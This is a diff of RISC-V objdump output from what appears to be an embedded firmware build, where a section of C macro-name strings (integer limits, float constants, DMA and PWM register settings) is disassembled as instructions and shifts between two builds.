+    7092:	5f5f 5342 5f44      	0x5f4453425f5f
+    7098:	4956                	lw	s2,84(sp)
+    709a:	4c424953          	0x4c424953
+    709e:	2045                	jal	713e <__stack_size+0x693e>
+    70a0:	0031                	c.nop	12
+    70a2:	5f5f 656e 6465      	0x6465656e5f5f
+    70a8:	4e5f 4c55 204c      	0x204c4c554e5f
+    70ae:	5000                	lw	s0,32(s0)
+    70b0:	435f4d57          	0x435f4d57
+    70b4:	4746                	lw	a4,80(sp)
+    70b6:	4f5f 454e 4853      	0x4853454e4f5f
+    70bc:	3020544f          	fnmadd.s	fs0,ft0,ft2,ft6,unknown
+    70c0:	3078                	fld	fa4,224(s0)
+    70c2:	3030                	fld	fa2,96(s0)
+    70c4:	3230                	fld	fa2,96(a2)
+    70c6:	3030                	fld	fa2,96(s0)
+    70c8:	0030                	addi	a2,sp,8
+    70ca:	4f4c                	lw	a1,28(a4)
+    70cc:	455f4b43          	0x455f4b43
+    70d0:	2058                	fld	fa4,128(s0)
+    70d2:	7830                	flw	fa2,112(s0)
+    70d4:	3230                	fld	fa2,96(a2)
+    70d6:	5f00                	lw	s0,56(a4)
+    70d8:	565f4353          	0x565f4353
+    70dc:	4c495f37          	lui	t5,0x4c495
+    70e0:	3350                	fld	fa2,160(a4)
+    70e2:	5f32                	lw	t5,44(sp)
+    70e4:	4246464f          	fnmadd.d	fa2,fa2,ft4,fs0,rmm
+    70e8:	4749                	li	a4,18
+    70ea:	3920                	fld	fs0,112(a0)
+    70ec:	5f460033          	0x5f460033
+    70f0:	5544                	lw	s1,44(a0)
+    70f2:	4650                	lw	a2,12(a2)
+    70f4:	2044                	fld	fs1,128(s0)
+    70f6:	0030                	addi	a2,sp,8
+    70f8:	495f 544e 5450      	0x5450544e495f
+    70fe:	5f52                	lw	t5,52(sp)
+    7100:	5f54                	lw	a3,60(a4)
+    7102:	4544                	lw	s1,12(a0)
+    7104:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    7108:	4445                	li	s0,17
+    710a:	0020                	addi	s0,sp,8
+    710c:	6c727473          	csrrci	s0,0x6c7,4
+    7110:	6e65                	lui	t3,0x19
+    7112:	5f00                	lw	s0,56(a4)
+    7114:	555f 4e49 5f54      	0x5f544e49555f
+    711a:	454c                	lw	a1,12(a0)
+    711c:	5341                	li	t1,-16
+    711e:	3354                	fld	fa3,160(a4)
+    7120:	5f32                	lw	t5,44(sp)
+    7122:	414d                	li	sp,19
+    7124:	5f58                	lw	a4,60(a4)
+    7126:	205f 7830 6666      	0x66667830205f
+    712c:	6666                	flw	fa2,88(sp)
+    712e:	6666                	flw	fa2,88(sp)
+    7130:	6666                	flw	fa2,88(sp)
+    7132:	4c55                	li	s8,21
+    7134:	4e00                	lw	s0,24(a2)
+    7136:	4c55                	li	s8,21
+    7138:	204c                	fld	fa1,128(s0)
+    713a:	2828                	fld	fa0,80(s0)
+    713c:	6f76                	flw	ft10,92(sp)
+    713e:	6469                	lui	s0,0x1a
+    7140:	2a20                	fld	fs0,80(a2)
+    7142:	3029                	jal	694c <__stack_size+0x614c>
+    7144:	0029                	c.nop	10
+    7146:	545f 4d49 5245      	0x52454d49545f
+    714c:	545f 445f 4345      	0x4345445f545f
+    7152:	414c                	lw	a1,4(a0)
+    7154:	4552                	lw	a0,20(sp)
+    7156:	2044                	fld	fs1,128(s0)
+    7158:	5f00                	lw	s0,56(a4)
+    715a:	4f5f 4452 5245      	0x524544524f5f
+    7160:	425f 4749 455f      	0x455f4749425f
+    7166:	444e                	lw	s0,208(sp)
+    7168:	4149                	li	sp,18
+    716a:	5f4e                	lw	t5,240(sp)
+    716c:	205f 3334 3132      	0x31323334205f
+    7172:	6200                	flw	fs0,0(a2)
+    7174:	6675                	lui	a2,0x1d
+    7176:	6566                	flw	fa0,88(sp)
+    7178:	0072                	c.slli	zero,0x1c
+    717a:	535f 5f43 4854      	0x48545f43535f
+    7180:	4552                	lw	a0,20(sp)
+    7182:	4441                	li	s0,16
+    7184:	525f 424f 5355      	0x5355424f525f
+    718a:	5f54                	lw	a3,60(a4)
+    718c:	5250                	lw	a2,36(a2)
+    718e:	4f49                	li	t5,18
+    7190:	505f 4f52 4554      	0x45544f52505f
+    7196:	31205443          	fmadd.s	fs0,ft0,fs2,ft6,unknown
+    719a:	3332                	fld	ft6,296(sp)
+    719c:	5f00                	lw	s0,56(a4)
+    719e:	465f 544c 3436      	0x3436544c465f
     71a4:	5f58                	lw	a4,60(a4)
-    71a6:	205f 202d 2931      	0x2931202d205f
-    71ac:	5f00                	lw	s0,56(a4)
-    71ae:	5f444947          	fmsub.q	fs2,fs0,fs4,fa1,rmm
-    71b2:	5f54                	lw	a3,60(a4)
-    71b4:	4544                	lw	s1,12(a0)
-    71b6:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    71ba:	4445                	li	s0,17
-    71bc:	0020                	addi	s0,sp,8
-    71be:	4e49                	li	t3,18
-    71c0:	5f54                	lw	a3,60(a4)
-    71c2:	454c                	lw	a1,12(a0)
-    71c4:	5341                	li	t1,-16
-    71c6:	3654                	fld	fa3,168(a2)
-    71c8:	5f34                	lw	a3,120(a4)
-    71ca:	494d                	li	s2,19
-    71cc:	204e                	fld	ft0,208(sp)
-    71ce:	2d28                	fld	fa0,88(a0)
-    71d0:	4e49                	li	t3,18
-    71d2:	5f54                	lw	a3,60(a4)
-    71d4:	454c                	lw	a1,12(a0)
-    71d6:	5341                	li	t1,-16
-    71d8:	3654                	fld	fa3,168(a2)
-    71da:	5f34                	lw	a3,120(a4)
-    71dc:	414d                	li	sp,19
-    71de:	2058                	fld	fa4,128(s0)
-    71e0:	202d                	jal	720a <__stack_size+0x6a0a>
-    71e2:	2931                	jal	75fe <__stack_size+0x6dfe>
-    71e4:	5300                	lw	s0,32(a4)
-    71e6:	495f 5346 434f      	0x434f5346495f
-    71ec:	495f204b          	fnmsub.s	ft0,ft10,fs5,fs1,rdn
-    71f0:	5346                	lw	t1,112(sp)
-    71f2:	004b434f          	fnmadd.s	ft6,fs6,ft4,ft0,rmm
-    71f6:	4d44                	lw	s1,28(a0)
-    71f8:	5f41                	li	t5,-16
-    71fa:	535f4843          	fmadd.d	fa6,ft10,fs5,fa0,rmm
-    71fe:	4154                	lw	a3,4(a0)
-    7200:	5554                	lw	a3,44(a0)
-    7202:	464f5f53          	0x464f5f53
-    7206:	2046                	fld	ft0,80(sp)
-    7208:	7830                	flw	fa2,112(s0)
-    720a:	5f003033          	0x5f003033
-    720e:	545f4353          	0x545f4353
-    7212:	4152                	lw	sp,20(sp)
-    7214:	555f4543          	0x555f4543
-    7218:	5f524553          	0x5f524553
-    721c:	5645                	li	a2,-15
-    721e:	4e45                	li	t3,17
-    7220:	5f54                	lw	a3,60(a4)
-    7222:	414d                	li	sp,19
-    7224:	2058                	fld	fa4,128(s0)
-    7226:	3039                	jal	6a34 <__stack_size+0x6234>
-    7228:	5f00                	lw	s0,56(a4)
-    722a:	675f 6e65 7265      	0x72656e65675f
-    7230:	6369                	lui	t1,0x1a
-    7232:	6528                	flw	fa0,72(a0)
-    7234:	7078                	flw	fa4,100(s0)
-    7236:	2c72                	fld	fs8,280(sp)
-    7238:	2c74                	fld	fa3,216(s0)
-    723a:	6579                	lui	a0,0x1e
-    723c:	6f6e2c73          	csrrs	s8,0x6f6,t3
-    7240:	2029                	jal	724a <__stack_size+0x6a4a>
-    7242:	475f 6e65 7265      	0x72656e65475f
-    7248:	6369                	lui	t1,0x1a
-    724a:	6528                	flw	fa0,72(a0)
-    724c:	7078                	flw	fa4,100(s0)
-    724e:	2c72                	fld	fs8,280(sp)
-    7250:	7420                	flw	fs0,104(s0)
-    7252:	203a                	fld	ft0,392(sp)
-    7254:	6579                	lui	a0,0x1e
-    7256:	64202c73          	csrr	s8,0x642
-    725a:	6665                	lui	a2,0x19
-    725c:	7561                	lui	a0,0xffff8
-    725e:	746c                	flw	fa1,108(s0)
-    7260:	203a                	fld	ft0,392(sp)
-    7262:	6f6e                	flw	ft10,216(sp)
+    71a6:	4148                	lw	a0,4(a0)
+    71a8:	45445f53          	0x45445f53
+    71ac:	4f4e                	lw	t5,208(sp)
+    71ae:	4d52                	lw	s10,20(sp)
+    71b0:	5f5f 3120 5f00      	0x5f0031205f5f
+    71b6:	414d                	li	sp,19
+    71b8:	4e494843          	fmadd.q	fa6,fs2,ft4,fs1,rmm
+    71bc:	5f45                	li	t5,-15
+    71be:	445f 4645 5541      	0x55414645445f
+    71c4:	544c                	lw	a1,44(s0)
+    71c6:	545f 5059 5345      	0x53455059545f
+    71cc:	485f 0020 5f5f      	0x5f5f0020485f
+    71d2:	4955                	li	s2,21
+    71d4:	544e                	lw	s0,240(sp)
+    71d6:	465f 5341 3354      	0x33545341465f
+    71dc:	5f32                	lw	t5,44(sp)
+    71de:	5954                	lw	a3,52(a0)
+    71e0:	4550                	lw	a2,12(a0)
+    71e2:	5f5f 7520 736e      	0x736e75205f5f
+    71e8:	6769                	lui	a4,0x1a
+    71ea:	656e                	flw	fa0,216(sp)
+    71ec:	2064                	fld	fs1,192(s0)
+    71ee:	6e69                	lui	t3,0x1a
+    71f0:	0074                	addi	a3,sp,12
+    71f2:	465f 4544 4546      	0x45464544465f
+    71f8:	2052                	fld	ft0,272(sp)
+    71fa:	7830                	flw	fa2,112(s0)
+    71fc:	3030                	fld	fa2,96(s0)
+    71fe:	3032                	fld	ft0,296(sp)
+    7200:	5f00                	lw	s0,56(a4)
+    7202:	535f 4749 415f      	0x415f4749535f
+    7208:	4f54                	lw	a3,28(a4)
+    720a:	494d                	li	s2,19
+    720c:	494d5f43          	fmadd.s	ft10,fs10,fs4,fs1,unknown
+    7210:	5f4e                	lw	t5,240(sp)
+    7212:	205f 2d28 5f5f      	0x5f5f2d28205f
+    7218:	5f474953          	0x5f474953
+    721c:	5441                	li	s0,-16
+    721e:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
+    7222:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    7228:	2d20                	fld	fs0,88(a0)
+    722a:	3120                	fld	fs0,96(a0)
+    722c:	0029                	c.nop	10
+    722e:	475f 4449 545f      	0x545f4449475f
+    7234:	445f 4345 414c      	0x414c4345445f
+    723a:	4552                	lw	a0,20(sp)
+    723c:	2044                	fld	fs1,128(s0)
+    723e:	4900                	lw	s0,16(a0)
+    7240:	544e                	lw	s0,240(sp)
+    7242:	4c5f 4145 5453      	0x545341454c5f
+    7248:	3436                	fld	fs0,360(sp)
+    724a:	4d5f 4e49 2820      	0x28204e494d5f
+    7250:	492d                	li	s2,11
+    7252:	544e                	lw	s0,240(sp)
+    7254:	4c5f 4145 5453      	0x545341454c5f
+    725a:	3436                	fld	fs0,360(sp)
+    725c:	4d5f 5841 2d20      	0x2d2058414d5f
+    7262:	3120                	fld	fs0,96(a0)
     7264:	0029                	c.nop	10
-    7266:	5450                	lw	a2,44(s0)
-    7268:	5248                	lw	a0,36(a2)
-    726a:	4145                	li	sp,17
-    726c:	5f44                	lw	s1,60(a4)
-    726e:	5845                	li	a6,-15
-    7270:	4c50                	lw	a2,28(s0)
-    7272:	4349                	li	t1,18
-    7274:	5449                	li	s0,-14
-    7276:	535f 4843 4445      	0x44454843535f
-    727c:	3220                	fld	fs0,96(a2)
-    727e:	5f00                	lw	s0,56(a4)
-    7280:	5446                	lw	s0,112(sp)
-    7282:	5552                	lw	a0,52(sp)
-    7284:	434e                	lw	t1,208(sp)
-    7286:	3020                	fld	fs0,96(s0)
-    7288:	3078                	fld	fa4,224(s0)
-    728a:	3034                	fld	fa3,96(s0)
+    7266:	46495f53          	0x46495f53
+    726a:	4b434f53          	0x4b434f53
+    726e:	5f20                	lw	s0,120(a4)
+    7270:	4649                	li	a2,18
+    7272:	4b434f53          	0x4b434f53
+    7276:	4400                	lw	s0,8(s0)
+    7278:	414d                	li	sp,19
+    727a:	435f 5f48 5453      	0x54535f48435f
+    7280:	5441                	li	s0,-16
+    7282:	5355                	li	t1,-11
+    7284:	4f5f 4646 3020      	0x302046464f5f
+    728a:	3378                	fld	fa4,224(a4)
     728c:	0030                	addi	a2,sp,8
-    728e:	5f5f 4c46 3354      	0x33544c465f5f
-    7294:	5832                	lw	a6,44(sp)
-    7296:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    729c:	3120                	fld	fs0,96(a0)
-    729e:	372e                	fld	fa4,232(sp)
-    72a0:	3739                	jal	71ae <__stack_size+0x69ae>
-    72a2:	3936                	fld	fs2,360(sp)
-    72a4:	34333133          	0x34333133
-    72a8:	3638                	fld	fa4,104(a2)
-    72aa:	3332                	fld	ft6,296(sp)
-    72ac:	3531                	jal	70b8 <__stack_size+0x68b8>
-    72ae:	31383037          	lui	zero,0x31383
-    72b2:	3534                	fld	fa3,104(a0)
-    72b4:	3732                	fld	fa4,296(sp)
-    72b6:	3234                	fld	fa3,96(a2)
-    72b8:	31333733          	0x31333733
-    72bc:	33343037          	lui	zero,0x33343
-    72c0:	3735                	jal	71ec <__stack_size+0x69ec>
-    72c2:	2b65                	jal	787a <__stack_size+0x707a>
-    72c4:	46383033          	0x46383033
-    72c8:	00783233          	sltu	tp,a6,t2
-    72cc:	5f5f 7570 6572      	0x657275705f5f
-    72d2:	2032                	fld	ft0,264(sp)
-    72d4:	5f5f 7461 7274      	0x727474615f5f
-    72da:	6269                	lui	tp,0x1a
-    72dc:	7475                	lui	s0,0xffffd
-    72de:	5f65                	li	t5,-7
-    72e0:	285f 5f28 635f      	0x635f5f28285f
-    72e6:	74736e6f          	jal	t3,3e22c <__stack_size+0x3da2c>
-    72ea:	5f5f 2929 5f00      	0x5f0029295f5f
-    72f0:	6e5f 6565 5f64      	0x5f6465656e5f
-    72f6:	61686377          	0x61686377
-    72fa:	5f72                	lw	t5,60(sp)
-    72fc:	0074                	addi	a3,sp,12
-    72fe:	5f5f 4c46 5f54      	0x5f544c465f5f
-    7304:	4544                	lw	s1,12(a0)
-    7306:	414d4943          	fmadd.s	fs2,fs10,fs4,fs0,rmm
-    730a:	5f4c                	lw	a1,60(a4)
-    730c:	4944                	lw	s1,20(a0)
-    730e:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    7312:	0039                	c.nop	14
-    7314:	4d44                	lw	s1,28(a0)
-    7316:	5f41                	li	t5,-16
-    7318:	4c525443          	0x4c525443
-    731c:	4f5f 4646 3020      	0x302046464f5f
-    7322:	3278                	fld	fa4,224(a2)
-    7324:	0030                	addi	a2,sp,8
-    7326:	545f 505f 5254      	0x5254505f545f
-    732c:	4944                	lw	s1,20(a0)
-    732e:	4646                	lw	a2,80(sp)
-    7330:	0020                	addi	s0,sp,8
-    7332:	5f5f 4c46 3654      	0x36544c465f5f
-    7338:	5834                	lw	a3,112(s0)
-    733a:	455f 5350 4c49      	0x4c495350455f
-    7340:	5f5f4e4f          	fnmadd.q	ft8,ft10,fs5,fa1,rmm
-    7344:	3120                	fld	fs0,96(a0)
-    7346:	392e                	fld	fs2,232(sp)
-    7348:	3532                	fld	fa0,296(sp)
-    734a:	3239                	jal	6c58 <__stack_size+0x6458>
-    734c:	3939                	jal	6f6a <__stack_size+0x676a>
-    734e:	3434                	fld	fa3,104(s0)
-    7350:	32373833          	0x32373833
-    7354:	35383533          	0x35383533
-    7358:	35353033          	0x35353033
-    735c:	3739                	jal	726a <__stack_size+0x6a6a>
-    735e:	32343937          	lui	s2,0x32343
-    7362:	3835                	jal	6b9e <__stack_size+0x639e>
-    7364:	3934                	fld	fa3,112(a0)
-    7366:	3732                	fld	fa4,296(sp)
-    7368:	2d653233          	0x2d653233
-    736c:	36463433          	0x36463433
-    7370:	7834                	flw	fa3,112(s0)
-    7372:	5f00                	lw	s0,56(a4)
-    7374:	465f 544c 3231      	0x3231544c465f
-    737a:	5f38                	lw	a4,120(a4)
-    737c:	414d                	li	sp,19
-    737e:	5f58                	lw	a4,60(a4)
-    7380:	5845                	li	a6,-15
-    7382:	5f50                	lw	a2,60(a4)
-    7384:	205f 3631 3833      	0x38333631205f
-    738a:	0034                	addi	a3,sp,8
-    738c:	5f5f 7468 6e6f      	0x6e6f74685f5f
-    7392:	785f2873          	csrrs	a6,0x785,t5
-    7396:	2029                	jal	73a0 <__stack_size+0x6ba0>
-    7398:	5f5f 7362 6177      	0x617773625f5f
-    739e:	3170                	fld	fa2,224(a0)
-    73a0:	2836                	fld	fa6,328(sp)
-    73a2:	785f 0029 535f      	0x535f0029785f
-    73a8:	45445f43          	0x45445f43
-    73ac:	414c                	lw	a1,4(a0)
-    73ae:	5459                	li	s0,-10
-    73b0:	4d49                	li	s10,18
-    73b2:	5245                	li	tp,-15
-    73b4:	4d5f 5841 3320      	0x332058414d5f
-    73ba:	535f0037          	lui	zero,0x535f0
-    73be:	5359                	li	t1,-10
-    73c0:	5f5f 4544 4146      	0x414645445f5f
-    73c6:	4c55                	li	s8,21
-    73c8:	5f54                	lw	a3,60(a4)
-    73ca:	4346                	lw	t1,80(sp)
-    73cc:	544e                	lw	s0,240(sp)
-    73ce:	5f4c                	lw	a1,60(a4)
-    73d0:	5f48                	lw	a0,60(a4)
-    73d2:	0020                	addi	s0,sp,8
-    73d4:	5f5f 4c46 3154      	0x31544c465f5f
-    73da:	3832                	fld	fa6,296(sp)
-    73dc:	445f 4e45 524f      	0x524f4e45445f
-    73e2:	5f4d                	li	t5,-13
-    73e4:	494d                	li	s2,19
-    73e6:	5f4e                	lw	t5,240(sp)
-    73e8:	205f 2e36 3734      	0x37342e36205f
-    73ee:	3135                	jal	701a <__stack_size+0x681a>
-    73f0:	31313537          	lui	a0,0x31313
-    73f4:	3439                	jal	6e02 <__stack_size+0x6602>
-    73f6:	32303833          	0x32303833
-    73fa:	3135                	jal	7026 <__stack_size+0x6826>
-    73fc:	3031                	jal	6c08 <__stack_size+0x6408>
-    73fe:	3239                	jal	6d0c <__stack_size+0x650c>
-    7400:	3434                	fld	fa3,104(s0)
-    7402:	35393833          	0x35393833
-    7406:	3238                	fld	fa4,96(a2)
-    7408:	3732                	fld	fa4,296(sp)
+    728e:	535f 5f43 5254      	0x52545f43535f
+    7294:	4341                	li	t1,16
+    7296:	5f45                	li	t5,-15
+    7298:	5355                	li	t1,-11
+    729a:	5245                	li	tp,-15
+    729c:	455f 4556 544e      	0x544e4556455f
+    72a2:	4d5f 5841 3920      	0x392058414d5f
+    72a8:	0030                	addi	a2,sp,8
+    72aa:	5f5f 6567 656e      	0x656e65675f5f
+    72b0:	6972                	flw	fs2,28(sp)
+    72b2:	78652863          	0x78652863
+    72b6:	7270                	flw	fa2,100(a2)
+    72b8:	742c                	flw	fa1,104(s0)
+    72ba:	792c                	flw	fa1,112(a0)
+    72bc:	7365                	lui	t1,0xffff9
+    72be:	6e2c                	flw	fa1,88(a2)
+    72c0:	5f20296f          	jal	s2,98b2 <__stack_size+0x90b2>
+    72c4:	656e6547          	0x656e6547
+    72c8:	6972                	flw	fs2,28(sp)
+    72ca:	78652863          	0x78652863
+    72ce:	7270                	flw	fa2,100(a2)
+    72d0:	202c                	fld	fa1,64(s0)
+    72d2:	3a74                	fld	fa3,240(a2)
+    72d4:	7920                	flw	fs0,112(a0)
+    72d6:	7365                	lui	t1,0xffff9
+    72d8:	202c                	fld	fa1,64(s0)
+    72da:	6564                	flw	fs1,76(a0)
+    72dc:	6166                	flw	ft2,88(sp)
+    72de:	6c75                	lui	s8,0x1d
+    72e0:	3a74                	fld	fa3,240(a2)
+    72e2:	6e20                	flw	fs0,88(a2)
+    72e4:	5f00296f          	jal	s2,98d4 <__stack_size+0x90d4>
+    72e8:	465f 544c 3436      	0x3436544c465f
+    72ee:	5f58                	lw	a4,60(a4)
+    72f0:	4148                	lw	a0,4(a0)
+    72f2:	4e495f53          	0x4e495f53
+    72f6:	4946                	lw	s2,80(sp)
+    72f8:	494e                	lw	s2,208(sp)
+    72fa:	5954                	lw	a3,52(a0)
+    72fc:	5f5f 3120 5000      	0x500031205f5f
+    7302:	4854                	lw	a3,20(s0)
+    7304:	4552                	lw	a0,20(sp)
+    7306:	4441                	li	s0,16
+    7308:	455f 5058 494c      	0x494c5058455f
+    730e:	5f544943          	fmadd.q	fs2,fs0,fs5,fa1,rmm
+    7312:	45484353          	0x45484353
+    7316:	2044                	fld	fs1,128(s0)
+    7318:	0032                	c.slli	zero,0xc
+    731a:	465f 5254 4e55      	0x4e555254465f
+    7320:	78302043          	fmadd.s	ft0,ft0,ft3,fa5,rdn
+    7324:	3430                	fld	fa2,104(s0)
+    7326:	3030                	fld	fa2,96(s0)
+    7328:	5f00                	lw	s0,56(a4)
+    732a:	465f 544c 3233      	0x3233544c465f
+    7330:	5f58                	lw	a4,60(a4)
+    7332:	414d                	li	sp,19
+    7334:	5f58                	lw	a4,60(a4)
+    7336:	205f 2e31 3937      	0x39372e31205f
+    733c:	33393637          	lui	a2,0x33393
+    7340:	3331                	jal	704c <__stack_size+0x684c>
+    7342:	3834                	fld	fa3,112(s0)
+    7344:	3236                	fld	ft4,360(sp)
+    7346:	37353133          	0x37353133
+    734a:	3830                	fld	fa2,112(s0)
+    734c:	3431                	jal	6d58 <__stack_size+0x6558>
+    734e:	3235                	jal	6c7a <__stack_size+0x647a>
+    7350:	33323437          	lui	s0,0x33323
+    7354:	37313337          	lui	t1,0x37313
+    7358:	3430                	fld	fa2,104(s0)
+    735a:	65373533          	0x65373533
+    735e:	3830332b          	0x3830332b
+    7362:	3346                	fld	ft6,112(sp)
+    7364:	7832                	flw	fa6,44(sp)
+    7366:	5f00                	lw	s0,56(a4)
+    7368:	705f 7275 3265      	0x32657275705f
+    736e:	5f20                	lw	s0,120(a4)
+    7370:	615f 7474 6972      	0x69727474615f
+    7376:	7562                	flw	fa0,56(sp)
+    7378:	6574                	flw	fa3,76(a0)
+    737a:	5f5f 2828 5f5f      	0x5f5f28285f5f
+    7380:	736e6f63          	bltu	t3,s6,7abe <__stack_size+0x72be>
+    7384:	5f74                	lw	a3,124(a4)
+    7386:	295f 0029 5f5f      	0x5f5f0029295f
+    738c:	656e                	flw	fa0,216(sp)
+    738e:	6465                	lui	s0,0x19
+    7390:	775f 6863 7261      	0x72616863775f
+    7396:	745f 5f00 465f      	0x465f5f00745f
+    739c:	544c                	lw	a1,44(s0)
+    739e:	445f 4345 4d49      	0x4d494345445f
+    73a4:	4c41                	li	s8,16
+    73a6:	445f 4749 5f5f      	0x5f5f4749445f
+    73ac:	3920                	fld	fs0,112(a0)
+    73ae:	4400                	lw	s0,8(s0)
+    73b0:	414d                	li	sp,19
+    73b2:	435f 5254 5f4c      	0x5f4c5254435f
+    73b8:	2046464f          	fnmadd.s	fa2,fa2,ft4,ft4,rmm
+    73bc:	7830                	flw	fa2,112(s0)
+    73be:	3032                	fld	ft0,296(sp)
+    73c0:	5f00                	lw	s0,56(a4)
+    73c2:	5f54                	lw	a3,60(a4)
+    73c4:	5450                	lw	a2,44(s0)
+    73c6:	4452                	lw	s0,20(sp)
+    73c8:	4649                	li	a2,18
+    73ca:	2046                	fld	ft0,80(sp)
+    73cc:	5f00                	lw	s0,56(a4)
+    73ce:	465f 544c 3436      	0x3436544c465f
+    73d4:	5f58                	lw	a4,60(a4)
+    73d6:	5045                	c.li	zero,-15
+    73d8:	4f4c4953          	0x4f4c4953
+    73dc:	5f4e                	lw	t5,240(sp)
+    73de:	205f 2e31 3239      	0x32392e31205f
+    73e4:	3935                	jal	7020 <__stack_size+0x6820>
+    73e6:	3932                	fld	fs2,296(sp)
+    73e8:	3439                	jal	6df6 <__stack_size+0x65f6>
+    73ea:	3334                	fld	fa3,96(a4)
+    73ec:	3738                	fld	fa4,104(a4)
+    73ee:	3332                	fld	ft6,296(sp)
+    73f0:	3835                	jal	6c2c <__stack_size+0x642c>
+    73f2:	3335                	jal	711e <__stack_size+0x691e>
+    73f4:	3530                	fld	fa2,104(a0)
+    73f6:	3935                	jal	7032 <__stack_size+0x6832>
+    73f8:	34393737          	lui	a4,0x34393
+    73fc:	3532                	fld	fa0,296(sp)
+    73fe:	3438                	fld	fa4,104(s0)
+    7400:	3239                	jal	6d0e <__stack_size+0x650e>
+    7402:	65323337          	lui	t1,0x65323
+    7406:	332d                	jal	7130 <__stack_size+0x6930>
+    7408:	4634                	lw	a3,72(a2)
     740a:	3436                	fld	fs0,360(sp)
-    740c:	3536                	fld	fa0,360(sp)
-    740e:	6535                	lui	a0,0xd
-    7410:	342d                	jal	6e3a <__stack_size+0x663a>
-    7412:	3639                	jal	6f20 <__stack_size+0x6720>
-    7414:	4636                	lw	a2,76(sp)
-    7416:	3231                	jal	6d22 <__stack_size+0x6522>
-    7418:	0038                	addi	a4,sp,8
-    741a:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
-    741e:	484d                	li	a6,19
-    7420:	4d50                	lw	a2,28(a0)
-    7422:	4e554f43          	fmadd.q	ft10,fa0,ft5,fs1,rmm
-    7426:	4554                	lw	a3,12(a0)
-    7428:	3352                	fld	ft6,304(sp)
-    742a:	2030                	fld	fa2,64(s0)
-    742c:	3632                	fld	fa2,296(sp)
-    742e:	5f00                	lw	s0,56(a4)
-    7430:	465f 4e49 5449      	0x54494e49465f
-    7436:	5f45                	li	t5,-15
-    7438:	414d                	li	sp,19
-    743a:	4854                	lw	a3,20(s0)
-    743c:	4f5f 4c4e 5f59      	0x5f594c4e4f5f
-    7442:	205f 0030 415f      	0x415f0030205f
-    7448:	4554                	lw	a3,12(a0)
-    744a:	4958                	lw	a4,20(a0)
-    744c:	5f54                	lw	a3,60(a4)
-    744e:	4e49                	li	t3,18
-    7450:	5449                	li	s0,-14
-    7452:	7b20                	flw	fs0,112(a4)
-    7454:	4e5f 4c55 2c4c      	0x2c4c4c554e5f
-    745a:	3020                	fld	fs0,96(s0)
-    745c:	202c                	fld	fa1,64(s0)
-    745e:	554e5f7b          	0x554e5f7b
-    7462:	4c4c                	lw	a1,28(s0)
-    7464:	2c7d                	jal	7722 <__stack_size+0x6f22>
-    7466:	7b20                	flw	fs0,112(a4)
-    7468:	554e5f7b          	0x554e5f7b
-    746c:	4c4c                	lw	a1,28(s0)
-    746e:	2c7d                	jal	772c <__stack_size+0x6f2c>
-    7470:	7b20                	flw	fs0,112(a4)
-    7472:	4e5f 4c55 7d4c      	0x7d4c4c554e5f
-    7478:	202c                	fld	fa1,64(s0)
-    747a:	2c30                	fld	fa2,88(s0)
-    747c:	3020                	fld	fs0,96(s0)
-    747e:	7d7d                	lui	s10,0xfffff
-    7480:	5500                	lw	s0,40(a0)
-    7482:	4e49                	li	t3,18
-    7484:	3854                	fld	fa3,176(s0)
-    7486:	4d5f 5841 5f20      	0x5f2058414d5f
-    748c:	555f 4e49 3854      	0x38544e49555f
-    7492:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    7498:	5f00                	lw	s0,56(a4)
-    749a:	535f 5453 2052      	0x20525453535f
-    74a0:	7830                	flw	fa2,112(s0)
-    74a2:	3230                	fld	fa2,96(a2)
-    74a4:	3030                	fld	fa2,96(s0)
-    74a6:	5f00                	lw	s0,56(a4)
-    74a8:	4c5f4353          	0x4c5f4353
-    74ac:	5645                	li	a2,-15
-    74ae:	4c45                	li	s8,17
-    74b0:	5f34                	lw	a3,120(a4)
-    74b2:	48434143          	fmadd.s	ft2,ft6,ft4,fs1,rmm
-    74b6:	5f45                	li	t5,-15
-    74b8:	494c                	lw	a1,20(a0)
-    74ba:	454e                	lw	a0,208(sp)
-    74bc:	455a4953          	0x455a4953
-    74c0:	3120                	fld	fs0,96(a0)
-    74c2:	5f003933          	0x5f003933
-    74c6:	565f4353          	0x565f4353
-    74ca:	504c5f37          	lui	t5,0x504c5
-    74ce:	3436                	fld	fs0,360(sp)
-    74d0:	4f5f 4646 3436      	0x343646464f5f
-    74d6:	3920                	fld	fs0,112(a0)
-    74d8:	0034                	addi	a3,sp,8
-    74da:	46495f53          	0x46495f53
-    74de:	544d                	li	s0,-13
-    74e0:	5f20                	lw	s0,120(a4)
-    74e2:	4649                	li	a2,18
-    74e4:	544d                	li	s0,-13
-    74e6:	5f00                	lw	s0,56(a4)
-    74e8:	535f 4454 5f43      	0x5f434454535f
-    74ee:	4556                	lw	a0,84(sp)
-    74f0:	5352                	lw	t1,52(sp)
-    74f2:	4f49                	li	t5,18
-    74f4:	5f4e                	lw	t5,240(sp)
-    74f6:	205f 3032 3731      	0x37313032205f
-    74fc:	3031                	jal	6d08 <__stack_size+0x6508>
-    74fe:	004c                	addi	a1,sp,4
-    7500:	535f 5f43 4342      	0x43425f43535f
-    7506:	535f 5254 4e49      	0x4e495254535f
-    750c:	414d5f47          	fmsub.s	ft10,fs10,fs4,fs0,unknown
-    7510:	2058                	fld	fa4,128(s0)
-    7512:	3036                	fld	ft0,360(sp)
-    7514:	5f00                	lw	s0,56(a4)
-    7516:	4350                	lw	a2,4(a4)
-    7518:	4d5f 5841 495f      	0x495f58414d5f
-    751e:	504e                	0x504e
-    7520:	5455                	li	s0,-11
-    7522:	3220                	fld	fs0,96(a2)
-    7524:	5f00                	lw	s0,56(a4)
-    7526:	735f 6566 666f      	0x666f6566735f
-    752c:	7028                	flw	fa0,96(s0)
-    752e:	2029                	jal	7538 <__stack_size+0x6d38>
-    7530:	2828                	fld	fa0,80(s0)
-    7532:	6e69                	lui	t3,0x1a
-    7534:	2974                	fld	fa3,208(a0)
-    7536:	2828                	fld	fa0,80(s0)
-    7538:	7028                	flw	fa0,96(s0)
-    753a:	2d29                	jal	7b54 <__stack_size+0x7354>
-    753c:	5f3e                	lw	t5,236(sp)
-    753e:	6c66                	flw	fs8,88(sp)
-    7540:	6761                	lui	a4,0x18
-    7542:	20262073          	csrs	hedeleg,a2
-    7546:	5f5f 4553 464f      	0x464f45535f5f
